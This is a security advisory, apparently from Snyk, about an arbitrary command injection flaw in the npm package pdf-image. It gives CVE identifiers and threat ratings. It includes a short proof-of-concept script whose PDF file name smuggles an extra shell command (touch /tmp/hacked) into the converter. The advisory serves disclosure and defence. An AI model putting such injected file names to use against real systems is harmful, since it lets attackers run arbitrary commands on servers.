Arbitrary Command Injection Affecting pdf-image package, versions *


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
4.57% (91st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDnpm:pdf-image:20180529
  • published30 May 2018
  • disclosed29 May 2018
  • creditN B Sri Harsha, kelotex

Introduced: 29 May 2018

CVE-2018-3757  (opens in a new tab)
CVE-2020-8132  (opens in a new tab)
CVE-2026-26830  (opens in a new tab)
CWE-94  (opens in a new tab)

Overview

pdf-image provides an interface to convert PDF's pages to png files in Node.js by using ImageMagick.

Affected versions of this package are vulnerable to Arbitrary Command Injection.

PoC by N B Sri Harsha

var PDFImage = require("pdf-image").PDFImage;
var pdfImage = new PDFImage("asd.pdf\"; touch /tmp/hacked\"");
console.log(pdfImage.constructGetInfoCommand())
pdfImage.numberOfPages().then(function (imagePath){
console.log(imagePath);
})

CVSS Base Scores

version 4.0
version 3.1